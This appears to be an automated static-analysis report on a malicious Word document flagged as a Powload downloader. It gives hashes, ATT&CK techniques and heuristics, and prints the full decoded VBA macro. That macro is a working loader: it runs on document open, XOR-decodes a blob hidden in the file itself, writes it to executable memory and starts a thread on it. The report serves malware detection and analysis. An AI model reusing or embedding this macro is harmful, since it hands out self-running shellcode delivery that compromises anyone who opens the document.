Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5a2986d18559729b…

MALICIOUS

Office (OLE)

37.1 KB Created: 2017-07-26 16:51:00 Authoring application: Microsoft Office Word First seen: 2017-08-08
MD5: 8af23b0930b968785d5cd2611074c015 SHA-1: b2eead730ab1b22686c1cea358bad66df376733e SHA-256: 5a2986d18559729b84e5dc11aeb9171dd5f09e6eac0ba4fffa617df9da8ac0d2
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1055 Process Injection

The sample is a Microsoft Office document containing VBA macros. The macros utilize Windows API functions such as VirtualAlloc and CreateThread, indicating an attempt to allocate memory and execute shellcode. This is consistent with a downloader or droppper functionality, likely to fetch and run a secondary payload. The ClamAV signature 'Doc.Downloader.Powload-6809817-0' further supports this assessment.

Heuristics 7

  • ClamAV: Doc.Downloader.Powload-6809817-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6809817-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Public Sub Document_Open()
    NOfUMlOnxax
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
    Document_Open
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4562 bytes
SHA-256: cacefb0c91f0b39520f3ae001cbe1077159510a26ea674e73eaafe8de2c790b6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
36 of 72 identifiers look randomly generated (e.g. 'YorLuSboXZPoJqyOdRLpqqJzqyIbXfDZLPwEwgAr') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit

#If VBA7 Then
Private Declare PtrSafe Function hCAol Lib "kernel32" Alias "CreateThread" (ByVal FldYppvu As Long, ByVal VUSMnMNwH As Long, ByVal CVtyRmqaf As LongPtr, ZtBUAcToGVs As Long, ByVal frVLfpTCNLhlslmNmLYopgjC As Long, YllSzQMSOQcCgg As Long) As LongPtr
Private Declare PtrSafe Function CoQgbUWdyYht Lib "kernel32" Alias "VirtualAlloc" (ByVal cvcilHCQcjOX As Long, ByVal FqvTuqOzhiKSzrSyKPZw As LongPtr, ByVal BnPnzaFeycZwATmgckftRVmrpMq As Long, ByVal rsuOAKddFFVqiuJgLwZxFr As Long) As LongPtr
Private Declare PtrSafe Function NtWriteVirtualMemory Lib "NTDLL" (ByVal ETceGbyYNJVMfIkVQPjBx As LongPtr, ByVal PkwlfGSMSdaK As LongPtr, ByVal VyFxbgHhGnHDyABiHwQkpeSH As String, ByVal VRfaRRMvSpxkshu As LongPtr, ByRef hiXPIHfrEkHjzzRFYcgpBhPwU As LongPtr) As LongPtr
#Else
Private Declare Function hCAol Lib "kernel32" Alias "CreateThread"  (ByVal FldYppvu As Long, ByVal VUSMnMNwH As Long, ByVal CVtyRmqaf As Long, ZtBUAcToGVs As Long, ByVal frVLfpTCNLhlslmNmLYopgjC As Long, YllSzQMSOQcCgg As Long) As Long
Private Declare Function CoQgbUWdyYht Lib "kernel32" Alias "VirtualAlloc" (ByVal cvcilHCQcjOX As Long, ByVal FqvTuqOzhiKSzrSyKPZw As Long, ByVal BnPnzaFeycZwATmgckftRVmrpMq As Long, ByVal rsuOAKddFFVqiuJgLwZxFr As Long) As Long
Private Declare Function NtWriteVirtualMemory Lib "NTDLL" (ByVal ETceGbyYNJVMfIkVQPjBx As Long, ByVal PkwlfGSMSdaK As Long, ByVal VyFxbgHhGnHDyABiHwQkpeSH As String, ByVal VRfaRRMvSpxkshu As Long, ByRef hiXPIHfrEkHjzzRFYcgpBhPwU As Long) As Long
#End If

Const BPlKveKKQAuRzXQJDkCRkY = &H1000
Const pfZWuIvymGR = &H40

Public Sub NOfUMlOnxax()
    Dim VhtbYOXYAMwFsdmFSZskxh() As Byte

    VhtbYOXYAMwFsdmFSZskxh = vxVaEBzsEuczohBUJuibyJRnbai(ActiveDocument.FullName)
    Dim QOJkUS As String
    QOJkUS = StrConv(VhtbYOXYAMwFsdmFSZskxh, 64)
    
    Dim FJLWGrEnxTSSMarzCIZjvxHn
    FJLWGrEnxTSSMarzCIZjvxHn = Split(QOJkUS, "YorLuSboXZPoJqyOdRLpqqJzqyIbXfDZLPwEwgArwrSKjszNyncYwWJHFRvWjZrSwPCUUTrWruTZyYpX")

    Dim OeCnpDdfKhN As String
    Dim UItbdYhc As String
    Dim wqYLvLFIZ As String
    UItbdYhc = StrConv(StrConv(FJLWGrEnxTSSMarzCIZjvxHn(UBound(FJLWGrEnxTSSMarzCIZjvxHn)), 64), 128)
    wqYLvLFIZ = Mid$(UItbdYhc, 3, Len(UItbdYhc))

    OeCnpDdfKhN = tkCRsjVIaqQADmTDayl("UDKcFCPgOZFKDhwZaouQFTEWfGccJ", wqYLvLFIZ)
    
    #If VBA7 Then
        Dim aGuwElEISvLIhVA As LongPtr
        Dim NtgzCBWEwi As LongPtr
    #Else
        Dim aGuwElEISvLIhVA As Long
        Dim NtgzCBWEwi As Long
    #End If

    aGuwElEISvLIhVA = CoQgbUWdyYht(0, Len(OeCnpDdfKhN), BPlKveKKQAuRzXQJDkCRkY, pfZWuIvymGR)
    NtgzCBWEwi = NtWriteVirtualMemory(-1, aGuwElEISvLIhVA, OeCnpDdfKhN, Len(OeCnpDdfKhN), 0)
    NtgzCBWEwi = hCAol(0, 0, aGuwElEISvLIhVA, 0, 0, 0)
End Sub

Public Function vxVaEBzsEuczohBUJuibyJRnbai(ByVal PMbTEFhldiQV As String) As Byte()
    Dim UItbdYhc As Long
    Dim wqYLvLFIZ() As Byte
    UItbdYhc = FreeFile
    If LenB(Dir(PMbTEFhldiQV)) Then
        Open PMbTEFhldiQV For Binary Access Read As UItbdYhc
        ReDim wqYLvLFIZ(LOF(UItbdYhc) - 1&) As Byte
        Get UItbdYhc, , wqYLvLFIZ
        Close UItbdYhc
    Else
        Err.Raise 53
    End If
    vxVaEBzsEuczohBUJuibyJRnbai = wqYLvLFIZ
    Erase wqYLvLFIZ
End Function

Public Sub Document_Open()
    NOfUMlOnxax
End Sub

Sub Workbook_Open()
    Document_Open
End Sub

Public Function tkCRsjVIaqQADmTDayl(camGqLUSkvFvjnCXrRaRiphMrVMLR As String, KgwbBsXWAHpcyEKvrqKWljyuPN As String) As String
    Dim ApuYiasLzZiMjZvrtCgQDbWEwa As Long
    Dim GBIblOzxGfIgbgSlvjEBXPReRJW As String
    Dim ytQChfLkQXWY As Integer, heHKoVvtDvklg As Integer, a As Long

    For ApuYiasLzZiMjZvrtCgQDbWEwa = 1 To Len(KgwbBsXWAHpcyEKvrqKWljyuPN)
        a = ApuYiasLzZiMjZvrtCgQDbWEwa Mod Len(camGqLUSkvFvjnCXrRaRiphMrVMLR)
        If a = 0 Then a = Len(camGqLUSkvFvjnCXrRaRiphMrVMLR)
        
        ytQChfLkQXWY = Asc(Mid$(KgwbBsXWAHpcyEKvrqKWljyuPN, ApuYiasLzZiMjZvrtCgQDbWEwa, 1))
        heHKoVvtDvklg = Asc(Mid$(camGqLUSkvFvjnCXrRaRiphMrVMLR, a, 1))
        GBIblOzxGfIgbgSlvjEBXPReRJW = GBIblOzxGfIgbgSlvjEBXPReRJW + Chr(ytQChfLkQXWY Xor heHKoVvtDvklg)
    Next ApuYiasLzZiMjZvrtCgQDbWEwa
    
   tkCRsjVIaqQADmTDayl = GBIblOzxGfIgbgSlvjEBXPReRJW
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.